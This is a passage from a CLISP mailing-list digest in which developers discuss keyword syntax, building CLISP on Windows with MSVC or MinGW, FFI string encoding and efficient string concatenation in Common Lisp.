>not work later, and it won't work in some other implementations.

I take the opposite view. :: is within the scope of the standard.
You can file a bug report to your Lisp supplier if it does not.
ANSI-CL/CLHS acknowledges symbols with an empty print name explicitly IIRC.

>it happens that clisp nicknames
>the package named "KEYWORD" with "", to enable this trick).
The CLISP implementation does this to have its reader handle keywords in correctly. That means no more than that. It does not mean that :: is a CLISP specific trick.

>(defun ||  () "Oops!")
>(defun :|| () "Oops!")
These are not the same symbols.
:: is in the keyword package.

>(defun :- (&optional arg) (declare (ignore arg)) "Nice!")
>(values (:-) (:-(  ))) ;-)
Actually, it's funny that I've only seen few packages take advantage of these, while it's very common in Haskell. Lispers seem to prefer verbose names, like PLUS, DIFFERENCE and DIRAC.
Perhaps because of Lisp-1 vs -2, and the derived need for ':- and #':- which don't look that nice anymore?

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	Jorg Hohle


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When trying to asdf load mcclim, I get this error while loading panes.fas:

*** - CLOS:SPECIALIZER-DIRECT-GENERIC-FUNCTIONS: Some methods have been removed
      from their generic function, but the list in the #<STANDARD-CLASS PANE>
      specializer was not updated.

I don't see anything MOP related or deleting or removing methods in panes.lisp.
What does this error mean? 








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"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl    -L/usr/X11R6/lib -lX11
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Tokens : and :: cannot be used in portable programs
because they are explicitly undefined in Common Lisp

http://www.lisp.org/HyperSpec/Body/sec_2-3-5.html
2.3.5 Valid Patterns for Tokens
	...
::aaaaa            undefined                                          
aaaaa:             undefined                                          
	...
Figure 2-17. Valid patterns for tokens

... aaaaa has any syntax ...


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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-07-09 18:44:44 +0200]:
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> "gcc ... -DNO_SIGSEGV ..."
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> TRIVIALMAP_MEMORY"

note that you are not getting the generational GC because you do not
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Hello from a Win32 user of clisp. :-)  I don't have MS Visual Studio, 
instead I've installed the
Platform SDK and Microsoft's free C++ compiler.  There are several 
websites out there that
provide help for people trying to use these tools to compile Win32 
applications.  I've found
the following URL very helpful:

    http://wiki.wxwidgets.org/wiki.pl?MS_Free_Tools_And_WxWidgets

One of the missing components when you go this route is 'editbin.exe' 
which is a bit of a
problem for the gcc-cccp makefile.  However, there is an equivalent 
option for
setting stack size that can be specified directly on the cl 
command-line.  Thus, line 14 of
utils/gcc-cccp/Makefile.msvc becomes

    $(CC) cccp.obj cexp.obj version.obj obstack.obj $(ALLOCA) /Fecccp 
/F3145728

and the subsequent line to execute editbin can be commented out.

Also, neither the Platform SDK nor the free compiler installation 
provides the 'lib'
utility.  However, the following batch file is a functional substitute 
(you'll find this
at the previously mentioned URL) :

    @echo off
    SET LIB_ARGUMENTS=/LIB
    :LIB_ARG_LOOP
    IF $%1$ == $$ GOTO LIB_RUN
    SET LIB_ARGUMENTS=%LIB_ARGUMENTS% %1
    SHIFT
    GOTO LIB_ARG_LOOP
    :LIB_RUN
    link %LIB_ARGUMENTS%

Save the above to the Visual C++ compiler's bin directory, named lib.cmd 
or lib.bat.

I hope this info is useful to others.  BTW, thanks to the clisp 
development team for making the
Win32 port!

-- 
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Function "iconv" was necessary.
First has written so:

(DEFUN ICONV (s from to)
  (EXT:CONVERT-STRING-FROM-BYTES
   (EXT:CONVERT-STRING-TO-BYTES s to) from))

Work, but if error returns nothing.
Has written so:

(defun iconv (s from to)
  (let ((res ""))
    (dotimes (i (length s))
      (setq res (ext:string-concat res
        (handler-case
          (EXT:CONVERT-STRING-FROM-BYTES
            (EXT:CONVERT-STRING-TO-BYTES (string (aref s i)) to) from)
          (error (condition) "?")))))
    res))

Very long time works. How to speed up?

Thanks.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-07-11 17:18:32 +0300]:
>
> Function "iconv" was necessary.
> First has written so:
>
> (DEFUN ICONV (s from to)
>   (EXT:CONVERT-STRING-FROM-BYTES
>    (EXT:CONVERT-STRING-TO-BYTES s to) from))

if you need this, you are doing something wrong.
if you have a string which has been incorrectly encoded, you need to
modify the stream format or something - look at the source of the string.

> Work, but if error returns nothing.

it should signal an error.

> Has written so:
>
> (defun iconv (s from to)
>   (let ((res ""))
>     (dotimes (i (length s))
>       (setq res (ext:string-concat res
>         (handler-case
>           (EXT:CONVERT-STRING-FROM-BYTES
>             (EXT:CONVERT-STRING-TO-BYTES (string (aref s i)) to) from)
>           (error (condition) "?")))))
>     res))
>
> Very long time works. How to speed up?

again, if you need this for anything but basic exploration (e.g.,
figuring out what the server feeds you with) you are doing something
wrong.
actually, this is even more wrong than the first version because of the
character boundary issues.

that said, you are making a very common mistake when people collect into
a string.
e.g., you essentially write
(defun concat-all (strings)
  (let ((res ""))
    (dolist (s strings)
      (setq res (string-concat res s)))
    res))
thus you allocate ~n^2 space for the result size of n.
here is the correct (and portable) solution:
(defun concat-all (strings)
  (let ((res (make-string (reduce #'+ strings :key #'length))) (start 0))
    (dolist (s strings)
      (replace res s :start1 start)
      (incf start (length s)))
    res))


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Hello


On Jul 11, 2005, at 11:35 AM, Sam Steingold wrote:

>
> again, if you need this for anything but basic exploration (e.g.,
> figuring out what the server feeds you with) you are doing something
> wrong.
> actually, this is even more wrong than the first version because of the
> character boundary issues.
>
> that said, you are making a very common mistake when people collect 
> into
> a string.
> e.g., you essentially write
> (defun concat-all (strings)
>   (let ((res ""))
>     (dolist (s strings)
>       (setq res (string-concat res s)))
>     res))
> thus you allocate ~n^2 space for the result size of n.
> here is the correct (and portable) solution:
> (defun concat-all (strings)
>   (let ((res (make-string (reduce #'+ strings :key #'length))) (start 
> 0))
>     (dolist (s strings)
>       (replace res s :start1 start)
>       (incf start (length s)))
>     res))

I have not tested it in CLISP, but how would the following behave in it?

(defun concat-all (&rest strings)
     (with-output-to-string (out)
         (format out "~{~A~}" strings)))

or

(defun concat-all (&rest strings)
    (with-output-to-string (out)
       (dolist (s strings)
          (princ s out))))

Cheers

Marco


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> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2005-07-11 12:02:03 -0400]:
>
>> here is the correct (and portable) solution:
>> (defun concat-all (strings)
>>   (let ((res (make-string (reduce #'+ strings :key #'length))) (start 0))
>>     (dolist (s strings)
>>       (replace res s :start1 start)
>>       (incf start (length s)))
>>     res))
>
> I have not tested it in CLISP, but how would the following behave in it?
>
> (defun concat-all (&rest strings)
>      (with-output-to-string (out)
>          (format out "~{~A~}" strings)))
>
> or
>
> (defun concat-all (&rest strings)
>     (with-output-to-string (out)
>        (dolist (s strings)
>           (princ s out))))

they are
- identical to each other wrt space (the second is better inlined),
- much better than the standard bad solution,
- marginally worse than my optimal solution because
  WITH-OUTPUT-TO-STRING does not allocate the right amount of space
  right away, instead it allocates an expandable string that is doubled
  in size when an extension is needed.

i.e., the optimal solution produces no garbage,
the standard bad solution produces O(n^2) bytes of garbage (consider n
strings of length 1 each)
and WITH-OUTPUT-TO-STRING produces O(log(n)) bytes of garbage.


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> * Jack D. Unrue <wqhaehr@rneguyvax.arg> [2005-07-10 12:11:39 -0600]:
>
> I don't have MS Visual Studio, instead I've installed the Platform SDK
> and Microsoft's free C++ compiler.

note that the MINGW version of CLISP is bother faster and has more
features than the MSC version.

> One of the missing components when you go this route is 'editbin.exe'
> which is a bit of a problem for the gcc-cccp makefile.  However, there
> is an equivalent option for setting stack size that can be specified
> directly on the cl command-line.  Thus, line 14 of
> utils/gcc-cccp/Makefile.msvc becomes
>
>     $(CC) cccp.obj cexp.obj version.obj obstack.obj $(ALLOCA) /Fecccp
>     /F3145728
>
> and the subsequent line to execute editbin can be commented out.

interesting.
msvc6 also has this option.
Jay Kint said that msvc7 does not need editbin at all.
how about msvc5 and msvc4?
does anyone have them?


> Also, neither the Platform SDK nor the free compiler installation
> provides the 'lib' utility.

does CLISP need it?

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-07-09 18:44:44 +0200]:
>
> When trying to asdf load mcclim, I get this error while loading panes.fas:
>
> *** - CLOS:SPECIALIZER-DIRECT-GENERIC-FUNCTIONS: Some methods have been removed
>       from their generic function, but the list in the #<STANDARD-CLASS PANE>
>       specializer was not updated.
>
> I don't see anything MOP related or deleting or removing methods in
> panes.lisp.  What does this error mean?

probably a bug in CLISP.
please supply the stack trace (:bt)
and a small test case.
thanks!

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Sam Steingold wrote:

>>* Jack D. Unrue <wqhaehr@rneguyvax.arg> [2005-07-10 12:11:39 -0600]:
>>
>>I don't have MS Visual Studio, instead I've installed the Platform SDK
>>and Microsoft's free C++ compiler.
>>    
>>
>
>note that the MINGW version of CLISP is bother faster and has more
>features than the MSC version.
>  
>
Thanks, I'll certainly try that.

>  
>
>>One of the missing components when you go this route is 'editbin.exe'
>>which is a bit of a problem for the gcc-cccp makefile.  However, there
>>is an equivalent option for setting stack size that can be specified
>>directly on the cl command-line.  Thus, line 14 of
>>utils/gcc-cccp/Makefile.msvc becomes
>>
>>    $(CC) cccp.obj cexp.obj version.obj obstack.obj $(ALLOCA) /Fecccp
>>    /F3145728
>>
>>and the subsequent line to execute editbin can be commented out.
>>    
>>
>
>interesting.
>msvc6 also has this option.
>Jay Kint said that msvc7 does not need editbin at all.
>  
>
>how about msvc5 and msvc4?
>does anyone have them?
>  
>
>>Also, neither the Platform SDK nor the free compiler installation
>>provides the 'lib' utility.
>>    
>>
>
>does CLISP need it?
>
>  
>
.lib files are built by the following:

    ./ffcall/avcall/Makefile.msvc
    ./ffcall/callback/Makefile.msvc
    ./ffcall/callback/trampoline_r/Makefile.msvc
    ./ffcall/callback/vacall_r/Makefile.msvc
    ./ffcall/Makefile.msvc
    ./ffcall/trampoline/Makefile.msvc
    ./ffcall/vacall/Makefile.msvc
    ./libcharset/lib/Makefile.msvc
    ./libcharset/Makefile.msvc

Replacing the definition of AR in those makefiles to be

    AR = link /lib

is sufficient for the version of link I have (7.10.3077), but I don't
have older versions to test.

-- 
Jack



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Sam Steingold <sds@gnu.org> writes:

>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-07 20:57:46 -0700]:
>>
>> Or, I would rather suggest going with Swig
>> (http://www.swig.org/). Currently swig can be used for generating
>> Allegro CL code, but it should not be hard to extend it to generate
>> clisp.
>
> https://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645
>
So, far I have written an extension which is able to generate semi-useful
clisp code, the generated code must be checked and if necessary edited by hand
before it is used. 

There is also an example showing some of the stuff which it can and cannot do.

I have made the entire swig package with complete set of changes
down-loadable. It should compile without any problem.

http://www.public.asu.edu/~sksinghi/swig-clisp.html


cheers.
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Sam Steingold wrote:

>>Function "iconv" was necessary.
>>First has written so:
>>
>>(DEFUN ICONV (s from to)
>>  (EXT:CONVERT-STRING-FROM-BYTES
>>   (EXT:CONVERT-STRING-TO-BYTES s to) from))
> 
> 
> if you need this, you are doing something wrong.
> if you have a string which has been incorrectly encoded, you need to
> modify the stream format or something - look at the source of the
> string.

Tcl library (through FFI) get and put strings in UTF-8. I should convert
my strings to UTF-8 and convert the received result from UTF-8. Or I
should write all sourcs in UTF-8 and run clisp with "-E UTF-8"?

>>Work, but if error returns nothing.
> 
> 
> it should signal an error.

Yes, but I want receive result together with flag of error.

> again, if you need this for anything but basic exploration (e.g.,
> figuring out what the server feeds you with) you are doing something
> wrong.
> actually, this is even more wrong than the first version because of the
> character boundary issues.
> 
> that said, you are making a very common mistake when people collect into
> a string.
> e.g., you essentially write
> (defun concat-all (strings)
>   (let ((res ""))
>     (dolist (s strings)
>       (setq res (string-concat res s)))
>     res))
> thus you allocate ~n^2 space for the result size of n.
> here is the correct (and portable) solution:
> (defun concat-all (strings)
>   (let ((res (make-string (reduce #'+ strings :key #'length))) (start
> 0))
>     (dolist (s strings)
>       (replace res s :start1 start)
>       (incf start (length s)))
>     res))

In my case at converting string to UTF-8 from other encoding the
resulting string can be greater size.

Thanks!

-- 
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Date: Tue Jul 12 03:20:04 2005
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Yaroslav Kavenchuk writes:
> Sam Steingold wrote:
> 
> >>Function "iconv" was necessary.
> >>First has written so:
> >>
> >>(DEFUN ICONV (s from to)
> >>  (EXT:CONVERT-STRING-FROM-BYTES
> >>   (EXT:CONVERT-STRING-TO-BYTES s to) from))
> > 
> > 
> > if you need this, you are doing something wrong.
> > if you have a string which has been incorrectly encoded, you need to
> > modify the stream format or something - look at the source of the
> > string.
> 
> Tcl library (through FFI) get and put strings in UTF-8. I should convert
> my strings to UTF-8 and convert the received result from UTF-8. Or I
> should write all sourcs in UTF-8 and run clisp with "-E UTF-8"?

Here is your error!  It sends you UTF-8 bytes and you put them into a string!
You shoud instead decode them as a UTF-8 byte vector!


The easiest way is to set *FOREIGN-ENCODING* to charset:utf-8

   (setf custom:*FOREIGN-ENCODING* charset:utf-8)

so the FFI does it for you automatically.


Otherwise, if some functions returned utf-8 but some others returned
other encodings, you'd have to substitute (ffi:array ffi:uint8) for
ffi:string and use ext:convert-string-from-bytes with the
corresponding encoding around each ffi call.

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Date: Tue Jul 12 03:38:15 2005
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Pascal Bourguignon wrote:

>>>>Function "iconv" was necessary.
>>>>First has written so:
>>>>
>>>>(DEFUN ICONV (s from to)
>>>> (EXT:CONVERT-STRING-FROM-BYTES
>>>>  (EXT:CONVERT-STRING-TO-BYTES s to) from))
>>>
>>>
>>>if you need this, you are doing something wrong.
>>>if you have a string which has been incorrectly encoded, you need to
>>>modify the stream format or something - look at the source of the
>>>string.
>>
>>Tcl library (through FFI) get and put strings in UTF-8. I should
> 
> convert
> 
>>my strings to UTF-8 and convert the received result from UTF-8. Or I
>>should write all sourcs in UTF-8 and run clisp with "-E UTF-8"?
> 
> 
> Here is your error!  It sends you UTF-8 bytes and you put them into a
> string!
> You shoud instead decode them as a UTF-8 byte vector!
> 
> 
> The easiest way is to set *FOREIGN-ENCODING* to charset:utf-8
> 
>    (setf custom:*FOREIGN-ENCODING* charset:utf-8)
> 
> so the FFI does it for you automatically.
> 
> 
> Otherwise, if some functions returned utf-8 but some others returned
> other encodings, you'd have to substitute (ffi:array ffi:uint8) for
> ffi:string and use ext:convert-string-from-bytes with the
> corresponding encoding around each ffi call.
> 

Oops! Sorry and many thanks!
I have not noticed the elephant... :(

It is necessary save the current custom:*FOREIGN-ENCODING* and restore
after use?

-- 
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Yaroslav Kavenchuk writes:
> Pascal Bourguignon wrote:
> > The easiest way is to set *FOREIGN-ENCODING* to charset:utf-8
> > 
> >    (setf custom:*FOREIGN-ENCODING* charset:utf-8)
> > 
> > so the FFI does it for you automatically.
> 
> It is necessary save the current custom:*FOREIGN-ENCODING* and restore
> after use?

If you only had one FFI library, it would not be necessary.  But
indeed it's a good idea to do it "locally".  Since it's a dynamic
variable you don't need to save/restore, you can just mask it, in each
function:


  (DEFUN get-string-result ()
    "return the result for interp as an string"
    (let ((custom:*FOREIGN-ENCODING* charset:utf-8))
      (FUNCALL Tcl_GetStringResult interp)))


I would use a macro:

  (defmacro with-tcl-env (&body body)
    `(let ((custom:*FOREIGN-ENCODING* charset:utf-8))
        ,@body))

  (DEFUN get-string-result ()
    "return the result for interp as an string"
    (with-tcl-env (FUNCALL Tcl_GetStringResult interp)))

  (DEFUN append-to-result (str)
    "append string to result for interp"
    (with-tcl-env (FUNCALL Tcl_AppendElement interp str)))

  ;; ...

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Vasilis M.wrote:
 > I have use swig (csharp module) to produce ffi and c++ classes to clos
What do you use to translate charp code to clos?

Also I'd be very much interested to try the library you've mentioned.
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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-11 23:14:56 -0700]:
>
>> https://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645
>>
> So, far I have written an extension which is able to generate
> semi-useful clisp code, the generated code must be checked and if
> necessary edited by hand before it is used.

Great!
Please submit your code to the SWIG people, e.g., as an attachment to
the above tracker item. We want your code to be in the official SWIG.

> http://www.public.asu.edu/~sksinghi/swig-clisp.html

1. the bug tracker URL is not clickable.

2. you should use FFI:DEF-C-STRUCT instead of CL:DEFSTRUCT.
   <http://clisp.cons.org/impnotes/dffi.html#def-c-struct>

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-07-12 13:25:13 +0200]:
>
>   (defmacro with-tcl-env (&body body)
>     `(let ((custom:*FOREIGN-ENCODING* charset:utf-8))
>         ,@body))

except that custom:*FOREIGN-ENCODING* is a symbol macro so this code
won't do what you want it to.

you need something like

(defmacro with-tcl-env (&body body)
  (let ((orig (gensym "ORIG-ENC")))
   `(let ((,orig custom:*foreign-encoding*))
      (unwind-protect (progn (setq custom:*foreign-encoding* charset:utf-8)
                              ,@body)
         (setq custom:*foreign-encoding* ,orig)))))

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While trying to compile the current CVS on Windows XP, using the
MSVC 7 compiler, I had several problems:

1) The default installation directory of the compiler has spaces in the
pathname - "C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7"
so in the makefile.msvc7 in the "CPP = ..\utils\gcc-cccp\cccp ...." line
the parameters like -I$(MSVCDIR)/include are seen as two separate
parameters. Taking them in double quotes ("-I$(MSVCDIR)/include")
seems to fix it

2) same makefile.msvc7, line 1237, the command sed -e '/^#line/....
my sed (coming from http://gnuwin32.sourceforge.net/) chokes
on the single quotes. Shouldn't they be replaced by double quotes?

3) After all that the build process starts, but fails soon with the 
following
output:

        sed -e s/@HAVE_LONG_64BIT@/0/g -e s/@HAVE_LONG_LONG_64BIT@/0/g < 
stdint_
.h > stdint.h
        copy ..\libcharset\include\libcharset.h libcharset.h
        1 file(s) copied.
        ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 
-Id:/work/cl
isp/include -D_MSC_VER=1300 -D_INTEGRAL_MAX_BITS=64 
-Id:/work/clisp/PlatformSDK/
include  -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. spvw.c > 
spvw.i.c

spvw_garcol.d:1361: #error "Unbekannter Wert von 'varobject_alignment'!"
NMAKE : fatal error U1077: '..\utils\gcc-cccp\cccp' : return code '0x21'
Stop.


Thanks,
Ury






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> * Ury Marshak <helz@gjb-olgrf.pbz> [2005-07-12 17:19:23 +0200]:
>
> While trying to compile the current CVS on Windows XP, using the
> MSVC 7 compiler, I had several problems:
>
> 1) The default installation directory of the compiler has spaces in the
> pathname - "C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7"
> so in the makefile.msvc7 in the "CPP = ..\utils\gcc-cccp\cccp ...." line
> the parameters like -I$(MSVCDIR)/include are seen as two separate
> parameters. Taking them in double quotes ("-I$(MSVCDIR)/include")
> seems to fix it

please try to add
MSVCDIR = "C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7"
to Makefile.

> 2) same makefile.msvc7, line 1237, the command sed -e '/^#line/....
> my sed (coming from http://gnuwin32.sourceforge.net/) chokes
> on the single quotes. Shouldn't they be replaced by double quotes?

does it work if you do?
how about
'/^#line/{n' -e 'ta' -e ':a' -e 's/^%% //' -e 'tb' -e 's/^.*\$\$//' -e ':b' -e '}'
(suggested by Pascal).

> 3) After all that the build process starts, but fails soon with the
> following
> output:
>
>         sed -e s/@HAVE_LONG_64BIT@/0/g -e s/@HAVE_LONG_LONG_64BIT@/0/g <
> stdint_
> .h > stdint.h
>         copy ..\libcharset\include\libcharset.h libcharset.h
>         1 file(s) copied.
>         ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32
> -Id:/work/cl
> isp/include -D_MSC_VER=1300 -D_INTEGRAL_MAX_BITS=64
> -Id:/work/clisp/PlatformSDK/
> include  -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. spvw.c >
> spvw.i.c
>
> spvw_garcol.d:1361: #error "Unbekannter Wert von 'varobject_alignment'!"
> NMAKE : fatal error U1077: '..\utils\gcc-cccp\cccp' : return code '0x21'
> Stop.

please try
make lispbibl.h
grep varobject_alignment lispbibl.h

note that installing cygwin and building clisp with
$ ./configure --with-mingw --build build-dir
is much easier than messing with ms tools
and it produces a native woe32 binary which does not rely on cygwin.

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> note that installing cygwin and building clisp with
> $ ./configure --with-mingw --build build-dir
> is much easier than messing with ms tools
> and it produces a native woe32 binary which does not rely on cygwin.
>

That same command also runs well on the msys/mingw distribution available at 
mingw.org

Another potentially convenient compiler set to support would be Dev CPP. 
That would just require the creation of a .dev file, i.e., equivalent of a 
Makefile

Lester



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> * Lester Vecsey <yirpfrl@alp.ee.pbz> [2005-07-12 11:07:25 -0400]:
>
> Another potentially convenient compiler set to support would be Dev
> CPP. That would just require the creation of a .dev file, i.e.,
> equivalent of a Makefile

do you mean this: <http://www.bloodshed.net/devcpp.html>?
this is based on mingw gcc, so, on one hand, it should not be too hard
to support it, and, on the other hand, I don't see any benefit: their
IDE will not grok CLISP sources ("# " comments &c) properly (and I am
happy with Emacs anyway).

on yet another hand (3rd), if you would like to work on CLISP using
Dev-C++, you are more than welcome.


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Ury Marshak <urym@two-bytes.com> wrote:
>What do you use to translate charp code to clos?

With a declaration
class Foo {
public:
  Foo() { };
  ~Foo() {};
  int intvar = 10;
  void test(int i);
  void test(char c);
  void test(int i, char c);
}
c# module of swig
produce a library with the following "extren C" functions

void *CSharp_new_Foo();
void CSharp_delete_Foo(void *jarg1)
void CSharp_set_Foo_intvar(void *jarg1, int jarg2)
int CSharp_get_Foo_intvar(void *jarg1)
void CSharp_Foo_test__SWIG_0(void *jarg1, int jarg2)
void CSharp_Foo_test__SWIG_1(void *jarg1, char jarg2)
void CSharp_Foo_test__SWIG_2(void *jarg1, int jarg2, char jarg3)

Swig can dump the parse tree as lisp s-expretions
and using this i produce the ffi bindings and the CLOS proxy classes

Ury Marshak <urym@two-bytes.com> wrote:
>Also I'd be very much interested to try the library you've mentioned.

u can find it at
http://www.sharemation.com/xythoswfs/webui/_xy-3202473_files

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Sam Steingold wrote:

> please try to add
>
>MSVCDIR = "C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7"
>to Makefile.
>
>  
>
With the double quotes around it works.

>>2) same makefile.msvc7, line 1237, the command sed -e '/^#line/....
>>my sed (coming from http://gnuwin32.sourceforge.net/) chokes
>>on the single quotes. Shouldn't they be replaced by double quotes?
>>    
>>
>
>does it work if you do?
>how about
>'/^#line/{n' -e 'ta' -e ':a' -e 's/^%% //' -e 'tb' -e 's/^.*\$\$//' -e ':b' -e '}'
>(suggested by Pascal).
>
>  
>
The new line (suggested by Pascal) does not work for me, says:
syntax error : illegal character '\' in macro

Changing single quotes to double seems to work, although there is one more
place to do the change at line 988 (for some reason it was giving an 
error here, but continuing
the build process). This fix (on line 988) also seems to fix the 
varobject_alignment
problem

After that the make dies with:
        ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 
-I"C:\Progra
m Files\Microsoft Visual Studio .NET 2003\Vc7"/include -D_MSC_VER=1300 
-D_INTEGR
AL_MAX_BITS=64 -I"C:\Program Files\Microsoft Visual Studio .NET 
2003\Vc7"/Platfo
rmSDK/include  -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. 
encoding.c
 > encoding.i.c
libcharset.h:22: localcharset.h: No such file or directory
NMAKE : fatal error U1077: '..\utils\gcc-cccp\cccp' : return code '0x21'
Stop.

for a quick fix I've added the \libcharset\include directory in the 
makefile, which allowed it to
continue successfully.
But now that it's built, what's next - there's no "make install" or 
something along these lines?

>note that installing cygwin and building clisp with
>$ ./configure --with-mingw --build build-dir
>is much easier than messing with ms tools
>and it produces a native woe32 binary which does not rely on cygwin.
>
>  
>

I tried mingw with msys and it worked, seems to be much easier than MSVC 
build. It
probably should be (at least) mentioned in win32msvc/INSTALL file as an
alternative solution.
BTW, same problem with it - after it's built, how do I install it 
somewhere, keeping
only the runtime files?

Thank you,
Ury



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> * Ury Marshak <helz@gjb-olgrf.pbz> [2005-07-12 20:02:12 +0200]:
>
> But now that it's built, what's next - there's no "make install" or
> something along these lines?

"make distrib" on cygwin and unzip the distribution,
or just copy "lisp.exe" and "lispinit.mem" somewhere.

> I tried mingw with msys and it worked, seems to be much easier than
> MSVC build. It probably should be (at least) mentioned in
> win32msvc/INSTALL file as an alternative solution.

ok.

> BTW, same problem with it - after it's built, how do I install it
> somewhere, keeping only the runtime files?

make distrib
unzip the distribution in the directory of your choice
run install.bat

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Sam Steingold wrote:
>> * Ury Marshak <helz@gjb-olgrf.pbz> [2005-07-12 20:02:12 +0200]:
>> But now that it's built, what's next - there's no "make install" or
>> something along these lines?
>"make distrib" on cygwin and unzip the distribution,
>or just copy "lisp.exe" and "lispinit.mem" somewhere.

Is that all? (it's all I typically use ;), but I always thought a proper distribution would include the files data/unicodexyz.txt and some others, so that the -B and -N options would make sense?


BTW, for MS-VC, I did the missing parts by hand. IIRC, it's all sed commands and luckily only a few files (stdint.h, stdbool.h etc.), and I used Emacs to do the search/replace (lispbibl.d is also easily handled).
"touch cflags.h.stamp" and built.obj is annoying because it needs to be done more than once.

The most annoying thing is that building inside the src dir corrupts it, so that subsequent Linux configure/build mysteriously fail (as I reported long ago). And I haven't yet experience with union-fs and the like, with which the MS build could be kept separate from the clean src directory. Any recommendations? I didn't find a Debian package for union-fs!?!

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	Jorg Hohle.


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Sam Steingold wrote:
[Pascal Bourguignon wrote:]
>>   (defmacro with-tcl-env (&body body)
>>     `(let ((custom:*FOREIGN-ENCODING* charset:utf-8))
>>         ,@body))
>except that custom:*FOREIGN-ENCODING* is a symbol macro so this code
>won't do what you want it to.
>you need something like
>   `(let ((,orig custom:*foreign-encoding*))
>      (unwind-protect (progn (setq custom:*foreign-encoding* 
>charset:utf-8)
>                              ,@body)
>         (setq custom:*foreign-encoding* ,orig)))))

What?! I thought for years (since *foreign-encoding* became a symbol macro) the whole point of making those symbol macros was to ensure they would continue to behave like the ordinary specials they once were!

And now I realize all such code is broken!
IMHO, impnotes should mention this problem (it says those are symbol macros, which implies it, but sometimes, explicitly showing the implications is better -- we are humans).

The reasonable conclusion IMHO is: it's a broken design (both the symbol macro and the global variable), but alas, it's going to stay for a while.


BTW, ext:letf does the unwind-protect for you, and I'd rather suggest that instead of the less readable explicit unwind-protect.
[2]> (macroexpand-1'(ext:letf((custom:*foreign-encoding* charset:iso-8859-1)) (print foo)))
(LETF* ((#:G2691 (SYSTEM::FOREIGN-ENCODING)) (#:G2692 CHARSET:ISO-8859-1))
 (UNWIND-PROTECT (PROGN (SYSTEM::SET-FOREIGN-ENCODING #:G2692) (PRINT FOO))
  (SYSTEM::SET-FOREIGN-ENCODING #:G2691))) ;
T
[3]> (macroexpand-1 *)
(LET* ((#:G2691 (SYSTEM::FOREIGN-ENCODING)) (#:G2692 CHARSET:ISO-8859-1))
 (UNWIND-PROTECT (PROGN (SYSTEM::SET-FOREIGN-ENCODING #:G2692) (PRINT FOO))
  (SYSTEM::SET-FOREIGN-ENCODING #:G2691))) ;
T
[I had expect Sam to make more publicity for CLISP's useful extensions :]

Once again, referential transparency would win. Sadly, the CLISP FFI does not permanently associate an encoding with a particular foreign function. This would be useful for *some* FFI functions.
Specials sucks, because of their scope: they also affect callbacks called within the extent of the foreign function.
These special variables suck the same way that
(let ((*readtable* *special-purpose-readtable*)) ;unuseable interactively
  (read x)) ; sucks when thrown into the debugger
BTW, clisp has a relatively new debugger command to restore *readtable* to sane values.
Viewed differently, it shows the problems that making wide use of lazy evaluation would yield in Common Lisp, and how Haskell needs to be careful to avoid those systematically.

Regards,
	Jorg Hohle


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Sam Steingold <sds@gnu.org> wrote:
>Great!
>Please submit your code to the SWIG people, e.g., as an attachment to
>the above tracker item. We want your code to be in the official SWIG.

Done.

>2. you should use FFI:DEF-C-STRUCT instead of CL:DEFSTRUCT.

Thanks. Fixed now.

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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> One important thing to keep in mind is: if all you have is *.h files, you are not very far ahead. The expressivity of *.h files is extremely poor. E.g. you don't know which parameters are : or :out. The CLISP FFI is quite expressive, but you'd not be using that power if all you have is a naive .htoFFI converter.

I understand this, my goal with Swig is to automate most of the wrapper
generation, so that the user has to do minimal amount of work in making use of
the full expressivity of clisp ffi. Most of the swig modules, actively
discourage users from editing the files generated by them. But, I am taking
care to ensure that the generated files are easy to understand and edit.

> And at some point, you will realize that the power of the Lisp interface you create does not come from whatever the FFI looks like, but from how useable the Lisp-level abstractions you create are to the Lisp programmer = user of your library. That's my summary of observing various past attempts of interfacing to GUI and other libraries (e.g. there have been like a dozen interaces to tk, various forms of X, Motif etc.).
>
Point well taken.

>
> I wish you good luck,

Thanks. Right now I have hosted the project on sourceforge 

http://sourceforge.net/projects/wxcl/

One can subscribe to mailing lists from here:

http://sourceforge.net/mail/?group_id=143661

As of now, the wxC code and some code of an old implementation of wxCL is
checked in, if anyone is interested in helping us out, contact me.

Cheers.
-- 
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I can use in function:

  (defun my-fun (&rest args) ...

destructive functions with args?

Example:

(defun dilute-blanks (&rest args)
  (labels ((dilute (l)
	     (when (cdr l)
	       (dilute (cdr l))
	       (let ((s (list " ")))
		 (rplacd s (cdr l))
		 (rplacd l s)))))
    (dilute args)))

CL-USER> (dilute-blanks 1 2 3 4 5 6)
(1 " " 2 " " 3 " " 4 " " 5 " " 6)

There are no "reefs"?

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Can CLISP do what BASH does?

$ for x in t?.????; do echo ----------------$x----------------; cat $x; ./$x | od -c; done
----------------t1.bash----------------
#!/usr/local/bin/bash
echo -en "\200"
0000000  200                                                            
0000001
----------------t2.lisp----------------
#!/usr/local/bin/clisp
(print (code-char 128))
0000000   \n   #   \   U   0   0   8   0      \n                        
0000012
----------------t3.lisp----------------
#!/usr/local/bin/clisp
(princ (code-char 128))

*** - Character #\u0080 cannot be represented in the character set CHARSET:ASCII
